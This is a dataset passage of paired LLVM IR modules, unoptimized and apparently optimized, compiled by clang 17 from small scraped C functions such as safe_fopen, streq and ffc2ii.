attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpa8gac6l1.c'
source_filename = "/tmp/tmpa8gac6l1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @close_connection(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
%4 = call i32 @close(i32 noundef %3)
ret i32 %4
}
declare i32 @close(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpa8gac6l1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @close_connection(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
%4 = call i32 @close(i32 noundef %3)
ret i32 %4
}
declare i32 @close(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpgngd4ljc.c'
source_filename = "/tmp/tmpgngd4ljc.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpgngd4ljc.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmprzoxzb0m.c'
source_filename = "/tmp/tmprzoxzb0m.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@errno = dso_local global i64 0, align 8
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [36 x i8] c"[%s:%lu] fopen failed (%s, %s)\0A\09%s\0A\00", align 1
@.str.1 = private unnamed_addr constant [142 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/jirka-h/aprng/refs/heads/master/src/libaprng-util.c\00", align 1
@EXIT_FAILURE = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @safe_fopen(ptr noundef %0, ptr noundef %1, i64 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca i64, align 8
%7 = alloca ptr, align 8
store ptr %0, ptr %4, align 8
store ptr %1, ptr %5, align 8
store i64 %2, ptr %6, align 8
store i64 0, ptr @errno, align 8
%8 = load ptr, ptr %4, align 8
%9 = load ptr, ptr %5, align 8
%10 = call ptr @fopen(ptr noundef %8, ptr noundef %9)
store ptr %10, ptr %7, align 8
%11 = load ptr, ptr %7, align 8
%12 = icmp ne ptr %11, null
br i1 %12, label %23, label %13
13: ; preds = %3
%14 = load i32, ptr @stderr, align 4
%15 = load i64, ptr %6, align 8
%16 = load ptr, ptr %4, align 8
%17 = load ptr, ptr %5, align 8
%18 = load i64, ptr @errno, align 8
%19 = call i32 @strerror(i64 noundef %18)
%20 = call i32 @fprintf(i32 noundef %14, ptr noundef @.str, ptr noundef @.str.1, i64 noundef %15, ptr noundef %16, ptr noundef %17, i32 noundef %19)
%21 = load i32, ptr @EXIT_FAILURE, align 4
%22 = call i32 @exit(i32 noundef %21) #3
unreachable
23: ; preds = %3
%24 = load ptr, ptr %7, align 8
ret ptr %24
}
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef, i64 noundef, ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @strerror(i64 noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmprzoxzb0m.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@errno = dso_local global i64 0, align 8
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [36 x i8] c"[%s:%lu] fopen failed (%s, %s)\0A\09%s\0A\00", align 1
@.str.1 = private unnamed_addr constant [142 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/jirka-h/aprng/refs/heads/master/src/libaprng-util.c\00", align 1
@EXIT_FAILURE = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @safe_fopen(ptr noundef %0, ptr noundef %1, i64 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca i64, align 8
%7 = alloca ptr, align 8
store ptr %0, ptr %4, align 8
store ptr %1, ptr %5, align 8
store i64 %2, ptr %6, align 8
store i64 0, ptr @errno, align 8
%8 = load ptr, ptr %4, align 8
%9 = load ptr, ptr %5, align 8
%10 = call ptr @fopen(ptr noundef %8, ptr noundef %9)
store ptr %10, ptr %7, align 8
%11 = load ptr, ptr %7, align 8
%12 = icmp ne ptr %11, null
br i1 %12, label %23, label %13
13: ; preds = %3
%14 = load i32, ptr @stderr, align 4
%15 = load i64, ptr %6, align 8
%16 = load ptr, ptr %4, align 8
%17 = load ptr, ptr %5, align 8
%18 = load i64, ptr @errno, align 8
%19 = call i32 @strerror(i64 noundef %18)
%20 = call i32 @fprintf(i32 noundef %14, ptr noundef @.str, ptr noundef @.str.1, i64 noundef %15, ptr noundef %16, ptr noundef %17, i32 noundef %19)
%21 = load i32, ptr @EXIT_FAILURE, align 4
%22 = call i32 @exit(i32 noundef %21) #3
unreachable
23: ; preds = %3
%24 = load ptr, ptr %7, align 8
ret ptr %24
}
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef, i64 noundef, ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @strerror(i64 noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpzgujnj4f.c'
source_filename = "/tmp/tmpzgujnj4f.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpzgujnj4f.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmphik1o91h.c'
source_filename = "/tmp/tmphik1o91h.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @test_i8_i32_i8_2(ptr noalias noundef %0, ptr noalias noundef %1, ptr noalias noundef %2, i32 noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca i32, align 4
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store ptr %2, ptr %7, align 8
store i32 %3, ptr %8, align 4
store i32 0, ptr %9, align 4
br label %10
10: ; preds = %33, %4
%11 = load i32, ptr %9, align 4
%12 = load i32, ptr %8, align 4
%13 = icmp slt i32 %11, %12
br i1 %13, label %14, label %36
14: ; preds = %10
%15 = load ptr, ptr %7, align 8
%16 = load i32, ptr %9, align 4
%17 = sext i32 %16 to i64
%18 = getelementptr inbounds i64, ptr %15, i64 %17
%19 = load i64, ptr %18, align 8
%20 = icmp ne i64 %19, 0
br i1 %20, label %21, label %32
21: ; preds = %14
%22 = load ptr, ptr %6, align 8
%23 = load i32, ptr %9, align 4
%24 = mul nsw i32 %23, 2
%25 = sext i32 %24 to i64
%26 = getelementptr inbounds i64, ptr %22, i64 %25
%27 = load i64, ptr %26, align 8
%28 = load ptr, ptr %5, align 8
%29 = load i32, ptr %9, align 4
%30 = sext i32 %29 to i64
%31 = getelementptr inbounds i64, ptr %28, i64 %30
store i64 %27, ptr %31, align 8
br label %32
32: ; preds = %21, %14
br label %33
33: ; preds = %32
%34 = load i32, ptr %9, align 4
%35 = add nsw i32 %34, 1
store i32 %35, ptr %9, align 4
br label %10, !llvm.loop !6
36: ; preds = %10
ret void
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmphik1o91h.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @test_i8_i32_i8_2(ptr noalias noundef %0, ptr noalias noundef %1, ptr noalias noundef %2, i32 noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca i32, align 4
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store ptr %2, ptr %7, align 8
store i32 %3, ptr %8, align 4
store i32 0, ptr %9, align 4
%10 = load i32, ptr %9, align 4
%11 = load i32, ptr %8, align 4
%12 = icmp slt i32 %10, %11
br i1 %12, label %.lr.ph, label %38
.lr.ph: ; preds = %4
br label %13
13: ; preds = %.lr.ph, %32
%14 = load ptr, ptr %7, align 8
%15 = load i32, ptr %9, align 4
%16 = sext i32 %15 to i64
%17 = getelementptr inbounds i64, ptr %14, i64 %16
%18 = load i64, ptr %17, align 8
%19 = icmp ne i64 %18, 0
br i1 %19, label %20, label %31
20: ; preds = %13
%21 = load ptr, ptr %6, align 8
%22 = load i32, ptr %9, align 4
%23 = mul nsw i32 %22, 2
%24 = sext i32 %23 to i64
%25 = getelementptr inbounds i64, ptr %21, i64 %24
%26 = load i64, ptr %25, align 8
%27 = load ptr, ptr %5, align 8
%28 = load i32, ptr %9, align 4
%29 = sext i32 %28 to i64
%30 = getelementptr inbounds i64, ptr %27, i64 %29
store i64 %26, ptr %30, align 8
br label %31
31: ; preds = %20, %13
br label %32
32: ; preds = %31
%33 = load i32, ptr %9, align 4
%34 = add nsw i32 %33, 1
store i32 %34, ptr %9, align 4
%35 = load i32, ptr %9, align 4
%36 = load i32, ptr %8, align 4
%37 = icmp slt i32 %35, %36
br i1 %37, label %13, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %32
br label %38
38: ; preds = %._crit_edge, %4
ret void
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp7_n2a19m.c'
source_filename = "/tmp/tmp7_n2a19m.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp7_n2a19m.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpb6w15fwm.c'
source_filename = "/tmp/tmpb6w15fwm.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @streq(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
%5 = load ptr, ptr %3, align 8
%6 = load ptr, ptr %4, align 8
%7 = call i64 @strcmp(ptr noundef %5, ptr noundef %6)
%8 = icmp eq i64 %7, 0
%9 = zext i1 %8 to i32
ret i32 %9
}
declare i64 @strcmp(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpb6w15fwm.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @streq(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
%5 = load ptr, ptr %3, align 8
%6 = load ptr, ptr %4, align 8
%7 = call i64 @strcmp(ptr noundef %5, ptr noundef %6)
%8 = icmp eq i64 %7, 0
%9 = zext i1 %8 to i32
ret i32 %9
}
declare i64 @strcmp(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpoxo3g4h0.c'
source_filename = "/tmp/tmpoxo3g4h0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @IF_TabTranspT() #0 {
%1 = call i32 @tabTransp(i32 noundef -1)
ret void
}
declare i32 @tabTransp(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpoxo3g4h0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @IF_TabTranspT() #0 {
%1 = call i32 @tabTransp(i32 noundef -1)
ret void
}
declare i32 @tabTransp(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpcuig0nx5.c'
source_filename = "/tmp/tmpcuig0nx5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@errno = dso_local global i64 0, align 8
@ERANGE = dso_local global i64 0, align 8
@.str = private unnamed_addr constant [54 x i8] c"Range Error in ffc2ii converting string to long int: \00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @ffc2ii(ptr noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca [81 x i8], align 16
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store ptr %2, ptr %7, align 8
%10 = load ptr, ptr %7, align 8
%11 = load i32, ptr %10, align 4
%12 = icmp sgt i32 %11, 0
br i1 %12, label %13, label %16
13: ; preds = %3
%14 = load ptr, ptr %7, align 8
%15 = load i32, ptr %14, align 4
store i32 %15, ptr %4, align 4
br label %48
16: ; preds = %3
store i64 0, ptr @errno, align 8
%17 = load ptr, ptr %6, align 8
store i64 0, ptr %17, align 8
%18 = load ptr, ptr %5, align 8
%19 = call i64 @strtol(ptr noundef %18, ptr noundef %8, i32 noundef 10)
%20 = load ptr, ptr %6, align 8
store i64 %19, ptr %20, align 8
%21 = load ptr, ptr %8, align 8
%22 = load i8, ptr %21, align 1
%23 = sext i8 %22 to i32
%24 = icmp ne i32 %23, 0
br i1 %24, label %25, label %32
25: ; preds = %16
%26 = load ptr, ptr %8, align 8
%27 = load i8, ptr %26, align 1
%28 = sext i8 %27 to i32
%29 = icmp ne i32 %28, 32
br i1 %29, label %30, label %32
30: ; preds = %25
%31 = load ptr, ptr %7, align 8
store i32 407, ptr %31, align 4
br label %32
32: ; preds = %30, %25, %16
%33 = load i64, ptr @errno, align 8
%34 = load i64, ptr @ERANGE, align 8
%35 = icmp eq i64 %33, %34
br i1 %35, label %36, label %45
36: ; preds = %32
%37 = getelementptr inbounds [81 x i8], ptr %9, i64 0, i64 0
%38 = call i32 @strcpy(ptr noundef %37, ptr noundef @.str)
%39 = getelementptr inbounds [81 x i8], ptr %9, i64 0, i64 0
%40 = load ptr, ptr %5, align 8
%41 = call i32 @strncat(ptr noundef %39, ptr noundef %40, i32 noundef 25)
%42 = getelementptr inbounds [81 x i8], ptr %9, i64 0, i64 0
%43 = call i32 @ffpmsg(ptr noundef %42)
%44 = load ptr, ptr %7, align 8
store i32 412, ptr %44, align 4
store i64 0, ptr @errno, align 8
br label %45
45: ; preds = %36, %32
%46 = load ptr, ptr %7, align 8
%47 = load i32, ptr %46, align 4
store i32 %47, ptr %4, align 4
br label %48
48: ; preds = %45, %13
%49 = load i32, ptr %4, align 4
ret i32 %49
}
declare i64 @strtol(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @strcpy(ptr noundef, ptr noundef) #1
declare i32 @strncat(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @ffpmsg(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpcuig0nx5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@errno = dso_local global i64 0, align 8
